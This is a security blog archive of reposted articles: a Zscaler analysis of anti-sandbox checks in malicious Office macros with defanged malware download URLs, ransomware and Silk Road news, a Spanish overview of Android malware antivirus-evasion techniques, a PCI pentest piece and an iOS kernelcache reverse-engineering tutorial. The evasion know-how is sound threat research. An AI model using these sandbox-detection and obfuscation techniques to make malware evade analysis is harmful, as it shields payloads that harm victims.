Zscaler ThreatLabZ recently came across a new wave of malicious documents evading automated analysis systems using a new technique. Malicious executables that leverage numerous techniques to detect the virtual environment and automated analysis systems are very common, but we are seeing an increasing trend of such techniques moving to the initial delivery vector (i.e. weaponized documents).

In this blog, we look at some of the anti-VM and anti-sandboxing techniques seen in the recent malicious documents including the newly added check of Microsoft Office RecentFiles count.

Weaponized Documents & anti-VM tricks

Malware authors leveraging documents with macros to download and install malware executable has been around for years; however, we are seeing a gradual evolution in these malicious documents making it harder for the security solutions to detect them proactively. ThreatLabZ has seen hundreds of new weaponized documents hit our sandbox on a regular basis:

Figure 1: New unique malicious documents

A macro is a piece of code, embedded inside Microsoft Office documents, written in a programming language known as Visual Basic for Applications (VBA). Microsoft Office’s default security settings ensures that the macros are disabled by default; however, attackers are using clever social engineering tactics to lure the user into enabling the macros. Below are two recent examples:

Figure 2: Social engineering tactics to enable macro

Malware authors are also making the macro code highly obfuscated and difficult to detect by signature based systems. In addition to highly obfuscated macros, malware authors are using multiple techniques in macros to detect the virtual environment and automated analysis systems as seen below:

Check #1 – Look for standard virtual environment strings

Figure 3: Virtual environment strings check

Check #2 – Windows Management Instrumentation (WMI) interface to identify virtual environment & automated analysis systems

Figure 4: WMI interface to detect virtual environment & sandboxes

Check #3 – Look for presence of known analysis tools on the system

Figure 5: Check for malware analysis tools

If any of these anti-VM or anti-sandbox checks is positive then the VBA macro code execution terminates and the end malware payload does not get downloaded on the system shielding it from automated analysis and detection. Alternately, the malicious document will download and install a malware executable on the victim’s system if all the anti-VM checks fail.

We have seen multiple malware families leveraging malicious documents as the initial delivery vector:

  • Ransomware Trojans (e.g. CryptoWall, Locky, Cerber)
  • Banking Trojans (e.g. Dridex)
  • Backdoor Trojans (e.g. Matsnu, Kasidet)
  • Infostealer Trojans (e.g. Fareit, VawTrak, Pony)

New anti-VM and anti-sandbox checks

In the last week of May, we started seeing a new wave of malicious documents leveraging two new techniques that prevents it from executing on many known sandbox solutions.

New Check #1 – Detect virtual environment via Office RecentFiles property

Figure 6: Microsoft Office RecentFiles property check

RecentFiles property returns a RecentFiles collection that represents the most recently accessed files. The macro code checks if the number of RecentFiles collection is less than a predefined threshold and terminates if true. Threshold value we have seen is 3 or higher.

The malware author makes an assumption here that most clean Virtual Environment snapshots will be taken after a fresh Microsoft Office install with probably one or two document files opened for testing the installation. Alternately, a standard user system with Office applications should have at least 3 or more recently accessed document files.

New Check #2 – Check for the external IP ownership

Figure 7: Check for security vendors, cloud & hosting services

Here the malware author is leveraging macro to get the external IP address of the victim’s system by using the following maxmind GeoIP service API:

https://www.maxmind.com/geoip/v2.1/city/me

This API asks for user credentials but we did not see any hardcoded credential information being sent by the malicious document. The malware author is setting the UserAgent and Referer headers for this request to get the response without any authentication. We are still verifying if this is by design or if this is an authentication bypass issue for the API that is being exploited.

Figure 8: Maxmind API usage for external IP information

The response is then compared against a predetermined list of strings (Figure X) that includes multiple known security vendors & hosting services as well as generic strings to detect data centers, hosting services, cloud based security and hosting services ownership. The macro execution will terminate if maxmind’s response for the external IP address matches any of these strings.

Upon successful checks, these new set of malicious documents were found to be downloading and installing Win32/Matsnu.Q Trojan from following URLs:

  • arabtradenet[.]com/info/content.dat
  • naivak[.]com/image/office14.ppb

Figure 9: Matsnu executable payload being downloaded

We also saw Nitol and Nymaim payloads subsequently being dropped by Matsnu Trojan.

Conclusion

Malicious documents with highly obfuscated macros have become an increasingly popular vector among cyber criminals to deliver malware executable payloads. By adding newer anti-VM and anti-analysis techniques to the malicious documents itself, the attackers are protecting the end executable payloads from being downloaded and detected by the automated analysis systems.

Source:https://www.zscaler.com

This entry was posted in Expoilts & Vulnerabilities, Mobile Security.

Calgary uni pays ransomware criminals $20k for its files back

Posted on

Not the brightest lights in the harbor. Administrators at the University of Calgary, Canada, have caved in to criminals and paid a $20,000 ransom to decrypt their computer systems’ files after getting hit by a malware infection.

Last month, the university fell prey to ransomware, which installed itself on machines, scrambled documents and demanded cash to recover the data. Since they obviously weren’t running decent backup procedures, the administrators have agreed to pay up in Bitcoins.

ransomware

“As part of efforts to maintain all options to address these systems issues, the university has paid a ransom totaling about $20,000 CDN that was demanded as part of this ‘ransomware’ attack,” saidLinda Dalgetty, VP of finance and services.

“The university is now in the process of assessing and evaluating the decryption keys. The actual process of decryption is time-consuming and must be performed with care. It is important to note that decryption keys do not automatically restore all systems or guarantee the recovery of all data. A great deal of work is still required by IT to ensure all affected systems are operational again, and this process will take time.”

Over 100 systems were thought to be locked up in the attack. Students and staff got email service back yesterday, but not on the original university system.

Dalgetty said the police had been called in and were investigating the attack. Under the circumstances, she said, it would not be appropriate to comment further on the details of the infection.

Source:http://www.theregister.co.uk/

This entry was posted in Virus, Malware, Spyware and tagged .

Silk Road 2.0 Admin Sentenced to 8 Years in Prison

Posted on

Brian Richard Farrell, a 27-year-old accused of being a key administrator of the dark web criminal marketplace Silk Road 2.0, has been sentenced to eight years in prison and four years of supervised release.

Silk Road 2.0 was launched in November 2013 after U.S. authorities shut down the original Silk Road, whose alleged operator, Ross Ulbricht, was sentenced to life in prison last year. Authorities launched an investigation into Silk Road 2.0 and in November 2014 they arrested its operator, Blake Benthall (aka Defcon).

According to prosecutors, Farrell was one of the few individuals who helped Benthall operate the website. Specifically, Farrell was tasked with approving new vendors and staff, and he organized a DDoS attack against a competitor.

Farrell was arrested in January 2015 and in March 2016 he pleaded guilty to one count of distribution of heroin, cocaine, and methamphetamine. Before pleading guilty, Farrell’s defense questioned the methods used by the FBI to identify their client.

Silk Road 2.0 had been using the Tor anonymity network to protect the identities of staff and customers. However, authorities caught a break when researchers from Carnegie Mellon University discovered a way to deanonymize Tor users.

silk-road-3-0-pops-up-on-the-dark-web-once-again-504089-7

The research, funded by the U.S. Department of Defense, was used to identify the real IP addresses of Tor users suspected of conducting criminal activities. Farrell’s defense argued that the FBI’s search of the Tor network might have violated his Fourth Amendment rights and filed a motion to obtain additional information on the methods used. However, the judge denied the motion since the suspect was identified based only on his IP address, and noted that Tor users should not expect their real IPs to remain private.

Just before its operator was arrested, Silk Road 2.0 generated sales of roughly $8 million every month. The dark web marketplace, which had approximately 150,000 active members, was used to distribute hundreds of kilograms of illegal drugs, and launder millions of dollars.

Source:http://www.securityweek.com/

This entry was posted in Ciber Seguridad General and tagged .

TÉCNICAS DE OCULTACIÓN DE MALWARE EN ANDROID PARA EVITAR LA DETECCIÓN DE ANTIVIRUS

Posted on Updated on

Hay diferentes tipos de técnicas de ocultación, algunas muy fáciles de aplicar, otra más complejas y difíciles de implementar. Según John Frey un profesor de hacking ético de empresa de seguridad de la información, lógicamente para aplicar las técnicas fáciles, se requiere menos tiempo y habilidades, pero te permitirá la obtención una baja caída en la tasa de detección, en cambio los más complejos necesitan más tiempo y habilidades, pero permiten alcanzar mayores caídas en la tasa de detección. Todas estas técnicas se utilizan para ocultar el código y textos del Android malware para evitar la detección de los antivirus.

IDENTIFIER RENAMING

Esta técnica intenta ocultar la aplicación, cambiar los nombres de los métodos, las clases y los identificadores de campo en la aplicación.

tecnicas de malware ocultacion

CALL INDIRECTIONS

Esta técnica modifica las llamadas dentro de la aplicación. Si tenemos una llamada al método A, esta técnica lo sustituye por una nueva llamada al método B que cuando se invoca a hacer la llamada al método original A.

CODE REORDERING

Consiste en modificar el orden de las instrucciones en el código. Por lo general, el “Goto”, es añadido en el código para mantener la secuencia original de las instrucciones durante la ejecución explica el profesor de hacking ético de una empresa de seguridad de la información.

image003

JUNK CODE INSERTION

Esta técnica consiste en añadir en el código de algunas instrucciones que se ejecutarán, pero sin cambiar la semántica de la aplicación. Las herramientas de detección que inspeccionan la secuencia de las instrucciones del software malicioso pueden ser evadidas por la estrategia de inserción de código no deseado. El código no deseado añadido al software malicioso puede ser una secuencia de nop simples o complejos ciclos de instrucciones explica John Frey, el profesor de hacking ético de una empresa de seguridad de la información .

tecnicas de malware ocultacion

ENCAPSULATE FIELD

Esta técnica consiste en la adición de un campo específico de setter y un método getter. El primero se utiliza para establecer el valor del campo y el segundo para recuperar ese valor. Así que no hay acceso directo más para el campo seleccionado, sustituido por los métodos relativos. De esta manera la utilización de un campo específico puede ser ocultada.

ENCRYPTING PAYLOADS – EXPLOITS

Código nativo se utiliza generalmente para manipular la memoria. Este tipo de código es almacenado en código binario nativo. Muy a menudo código nativo es utilizado por autores de software maliciosos debido a la falta de mecanismos de seguridad en Android. Un malware o utilizando eso puede evadir el entorno sandbox hecho por la política de permisos de Android. Según curso de hacking ético, por lo general, en malware, código nativo se almacena encriptado y se descifra solamente durante la ejecución.

COMPOSITE TRANSFORMATIONS

Todas las técnicas de ocultación vistas antes se pueden combinar con otras para mejorar el nivel ocultación del código acuerdo con los expertos de empresa de seguridad de la información. Por lo general, las estrategias que no son muy eficaces cuando se usan solas, si se usan en combinación pueden dar buenos resultados en ocultación.

REFLECTION

Una clase puede inspeccionarse a sí misma utilizando esta técnica. Se usa para obtener información sobre las clases, métodos, etc. La API del Java que soporta la reflexión es Java.Reflect. Cada instrucción de invocación está sustituido con otras instrucciones de código de bytes que utilizan llamadas reflectantes para realizar las mismas operaciones de la llamada original. En particular se utilizan tres llamadas. El forName, que encuentra una clase con un nombre preciso. El getMethod; que devuelve el sistema que pertenece a la llamada forName. La tercera es la invokeque ejecuta el procedimiento deseado. Entonces la reflexión añade un código innecesario a la original con el fin de ocultar la aplicación. Podrían aprender más sobre reflection en el curso de hacking ético.

BYTECODE ENCRYPTION

Esta técnica encripta algunas piezas de código para evadir las herramientas de anti malware basado en el análisis estático. En particular, el código malicioso se almacena encriptado en la aplicación. Por esta razón es imposible para el análisis estático detectar el código malicioso. El código malicioso se almacena encriptado y empacado. Durante la ejecución de la rutina de descifrado se llama y se descifra el código malicioso y lo carga a través de un cargador de clases establecido por el autor del malware.

STRING ENCRYPTION

Encripta los textos de una aplicación utilizando una operación XOR. El texto original se descompone durante la ejecución proporcionando el encriptado a la rutina de descifrado.

CLASS ENCRYPTION

Se utiliza para cifrar todas las clases de la aplicación. Comprime las clases encriptadas y las almacenar en la aplicación. Cuando la aplicación maliciosa se ejecuta las clases encriptadas qe necesitan ser descomprimidas se descifradas y después se cargan en la memoria. Por lo general, con el metodoClassLoader(), getDeclaredConstructor (), y newInstance () una nueva instancia de la clase se genera y sus campos y métodos se invocan a través de la reflexión.

ENTRY POINT CLASSES, ARCHIVOS XML, OCULTACION DE ASSESTS

Esta técnica consiste en ocultar el ingreso a las carpetas y archivos entry point classes xml usando una encriptación. El objetivo es evitar la detección de algunas herramientas anti-malware que inspeccionan estos archivos.

Estas son algunas de las técnicas de evasión antivirus para dispositivos Android. Usted puede aprender más acerca de estas técnicas durante el hacking ético de empresa de seguridad de la información.

Leer Mas: http://noticiasseguridad.com/malware-virus/herramientas-para-ocultar-malware-de-android-y-evitar-la-deteccion-del-antivirus

This entry was posted in Ciber Seguridad General, Expoilts & Vulnerabilities, informatica forense, Mobile Security, Virus, Malware, Spyware and tagged , , , .

¿PORQUÉ HACER PRUEBAS DE PENETRACIÓN EMPRESARIAL SEGÚN LAS DIRECTRICES DE PCI?

Posted on

De acuerdo con el PCI SSC, las organizaciones pueden utilizar los servicios de seguridad informática como pruebas de penetración para identificar las vulnerabilidades, para determinar si el acceso no autorizado a sus sistemas u otras actividades maliciosas es posible. La guía, desarrollada por PCI Special Interest Group, tiene como objetivo ayudar a las organizaciones de todos los tamaños, presupuestos y sectores a evaluar, implementar y mantener una metodología de servicios de seguridad informática. Hay un montón de maneras diferentes en que las pruebas de penetración son descritas, realizadas y comercializadas. A menudo confundido con la realización de un “análisis de vulnerabilidades”, “auditoría de cumplimiento” o “evaluación de la seguridad”, las pruebas de penetración se distinguen de estos esfuerzos en unos pocos aspectos críticos:

pentest

  • Las pruebas de penetración es una herramienta crítica para verificar que la apropiada segmentación este en su lugar para aislar el entorno de datos de titulares de tarjetas de otras redes, para reducir el alcance de PCI DSS.
  • Una prueba de penetración no se detiene simplemente el descubrimiento de vulnerabilidades: pasa al siguiente paso para explotar activamente esas vulnerabilidades con el fin de probar (o refutar) de ataque del mundo real contra los activos de TI de una organización, los datos, los seres humanos, y / o alguna otra seguridad física.
  • Si bien una prueba de penetración puede implicar el uso de herramientas automatizadas y marcos de procesos, el enfoque es sobre la persona o equipo de probadores, la experiencia que ellos aportan a la prueba, las habilidades y los medios que ellos  aprovechan en el contexto de un ataque activo en su organización. Esto no puede dejar de enfatizarse. Incluso altamente automatizadas, con buenos recursos, y avanzados redes que implementen sofisticadas tecnologías de contramedidas, suelen ser vulnerables a la naturaleza única de la mente humana, que puede pensar lateralmente y fuera de la caja, puede hacer las dos cosas análisis y síntesis, y está armada con un motivo y determinación.
  • Una prueba de penetración está diseñado para responder a la pregunta: “¿Cuál es la efectividad real de mis controles de seguridad existentes en contra de un, humano, atacante experto ” Podemos contrastar esto con la seguridad o auditorías de cumplimiento que comprueba la existencia de necesarios controles y sus configuraciones correctas, mediante el establecimiento de un escenario simple: Incluso una organización compatible 100% todavía pueden ser vulnerables en el mundo real contra una amenaza humana bien calificada.
  • Una prueba de penetración permite múltiples vectores de ataque para ser explorados contra el mismo objetivo. A menudo es la combinación de la información o las vulnerabilidades a través de diferentes sistemas que darán éxito a un ataque. Si bien hay ejemplos de pruebas de penetración que limitan su alcance a un solo objetivo a través de un vector (ejemplo, una prueba de intrusión de aplicaciones web realizado sólo desde el punto de vista del navegador de Internet), sus resultados siempre se deben tomar con importancia: mientras que la prueba puede haber proporcionado resultados valiosos, sus resultados sólo son útiles dentro del mismo contexto se llevó a cabo la prueba.

This entry was posted in Expoilts & Vulnerabilities, informatica forense and tagged , .

¿CÓMO HACER INGENIERÍA REVERSA DEL IOS?

Posted on

iOS es una plataforma de código cerrado. El interés en mirar en núcleo de IOS puede estar justificado por diferentes razones. Por ejemplo, es posible que desee ver en el proceso de verificación de código de la firma e investigación de vulnerabilidad.

Este artículo le mostrará paso a paso cómo obtener, descifrar y extraer una versión binaria de núcleo de IOS con ayuda del experto de análisis de vulnerabilidades informáticas.

Santoku es un sistema operativo de código abierto y libre que se centra en el análisis forense del dispositivo móvil, análisis de malware móvil, y la seguridad móvil.

¿QUE NECESITAS?

  • Una instalación funcionando de Linux Santoku
  • Un dispositivo iOS
  • Algunas herramientas que encontrarás al leer el artículo
  • IDA Pro y HexRays plugin

El núcleo de IOS se basa en el núcleo de XNU con algunas modificaciones. Este núcleo es un código abierto. Una vez que tenga una versión binaria del núcleo, necesitaras utilizar algunas herramientas de ingeniería inversa para completar tu análisis. En iOS en lugar de encontrar un núcleo independiente, nos encontraremos con un “kernelcache”. Según expertos de análisis de vulnerabilidades informáticas de organización de ciberseguridad el kernelcache es esencialmente un contenedor para el núcleo en sí mismo y todas las extensiones (kexts para los más familiarizados con OS X), empacadas juntas.

¿CÓMO HACERLO?

En la primera parte del artículo, asumiremos que se está ejecutando en una nueva instalación de Santoku Linux, así podemos continuar juntos.

Para extraer la memoria caché del núcleo se pueden extraer y descifrar desde su teléfono, o extraer y descifrar el archivo. Ipsw. Un archivo IPSW es un archivo que contiene el firmware y actualizaciones para el dispositivo. Con el fin de encontrar dónde descargar nuestro objetivo IPSW de Internet podemos buscar en internet.

En este ejemplo hemos elegido para extraer un IPSW de iOS 7.0.2 para el iPhone 4, descargable desde Internet.

A continuación, en de la terminal nosotros haremos:

wget http://appldnld.apple.com/iOS7/091-9871.20130924.7imYu/iPhone3,1_7.0.2_11A501_Restore.ipsw

unzip iPhone3,1_7.0.2_11A501_Restore.ipsw

Como podemos ver que hay un archivo kernelcache.release.n90. Nosotros vamos a descifrar este archivo con algunas herramientas disponibles libremente y analizarlo en IDA Pro. Para ello, necesitaremos de xpwn y las herramientas de lzssdec.

Primero instalamos algunas dependencias y herramientas:

sudo apt-get install git build-essential libz-dev libbz2-dev libusb-dev cmake libpng12-dev

git clone <a href=”https://github.com/planetbeing/xpwn.git”>https://github.com/planetbeing/xpwn.git</a&gt;

cd xpwn/

ls

IOS reverse engineer

LA CARPETA XPWNTOOL

En la carpeta de BUILD podemos encontrar las instrucciones para construir la herramienta, o simplemente seguir esta guía:

mkdir build

cd build

cmake ../

make

Ahora encontraras xpwtool bajo la subcarpeta ipsw-patch:

IOS reverse engineer1

LA LOCACIÓN DE XPWNTOOL

Ahora podemos copiar el xpwntool en nuestro directorio con nuestro kernelcache encriptado. Ahora necesitas encontrar tu IV y Key para  tu tipo particular de dispositivo y archivo (kernelcache). Ellos no serán incluidos en esta guía, pero puedes descargarlos desde su dispositivo con jailbreak (que es modelo de dispositivo, archivo, y la versión específica de IOS) o encontrarlos en línea el archivo kernelcache.

Según expertos de análisis de vulnerabilidades informáticas de organización de ciberseguridad, también necesitará la clave AES y IV para el archivo. Estos se almacenan en el archivo encriptado con la clave de GID en el dispositivo. Esta clave GID está en el hardware del dispositivo y que es compartido entre los dispositivos que se tienen el mismo procesador.

./xpwntool kernelcache.release.n90 kernelcache.decrypted -iv [MY_IV] -k [MY_KEY] -decrypt

IOS reverse engineer2

UNA LISTA DE LOS ARCHIVOS DESCIFRADOS CON KERNELCACHE:

Para obtener un valido Mach-O ejecutable para analizar en IDA Pro vamos a tener que utilizar otra herramienta, lzssdec.

wget <a href=”http://nah6.com/~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp”>http://nah6.com/~itsme/cvs-xdadevtools/iphone/tools/lzssdec.cpp</a>       g++ lzssdec.cpp -o lzssdec</em>

IOS reverse engineer3

LZSSDEC COMPILADO

Podemos ejecutar lzssdec sobre la imagen descifrada:

./lzssdec -o 448 < kernelcache.decrypted > kernelcache.mach.arm

Podemos comprobar el resultado con:

xdd kernelcache.mach.arm | head

Y ver que los primeros bytes son:

0xfeedface

IOS reverse engineer4

VER LOS RESULTADOS EN SANTOKU-LINUX

Usando comando de file:

file kernelcache.mach.arm

Ahora podemos tomar nuestro kernelcache.mach.arm y ponerlo en IDA Pro. Vamos a utilizar IDA Pro en Windows con HexRays eventualmente. Abrimos el kernelcache.mach.arm con IDA Pro.

IOS reverse engineer5

KERNELCACHE.MACH.ARM EN IDA PRO

Dan Heyes, consultor de análisis de vulnerabilidades informáticas de organización de ciberseguridad menciona que la herramienta nos preguntará si queremos dividir el núcleo en las muchas kexts que se combinan en el interior (en el núcleo IOS y las extensiones cargables de kext están todos empacados dentro de kernelcache). Elegir sí y confirmando las otras ventanas para iniciar el análisis.

IOS reverse engineer6

IOS reverse engineer7

ÁREAS INEXPLORADAS EN EL ANÁLISIS IDA PRO

Observe todas las áreas inexploradas por IDA, veremos que al final del análisis vamos a tener una idea más clara de lo que está pasando en el archivo binario.

Cuando se termina el análisis, podemos guardar la base de datos y eventualmente tomar una copia de seguridad.

IOS reverse engineer8

ANÁLISIS TERMINADO EN IDA PRO

Ahora podemos empezar a ingeniería reversa del núcleo IOS y ajustar el análisis automático inicial hecho por IDA Pro. Según expertos organización de ciberseguridad, ingeniería reversa del núcleo IOS ayudaría hacer análisis de vulnerabilidades informáticas en el núcleo IOS.

Fuente:http://noticiasseguridad.com/vulnerabilidades/como-hacer-ingenieria-reversa-del-ios/

This entry was posted in Ciber Seguridad General, Expoilts & Vulnerabilities, Mobile Security and tagged , , , .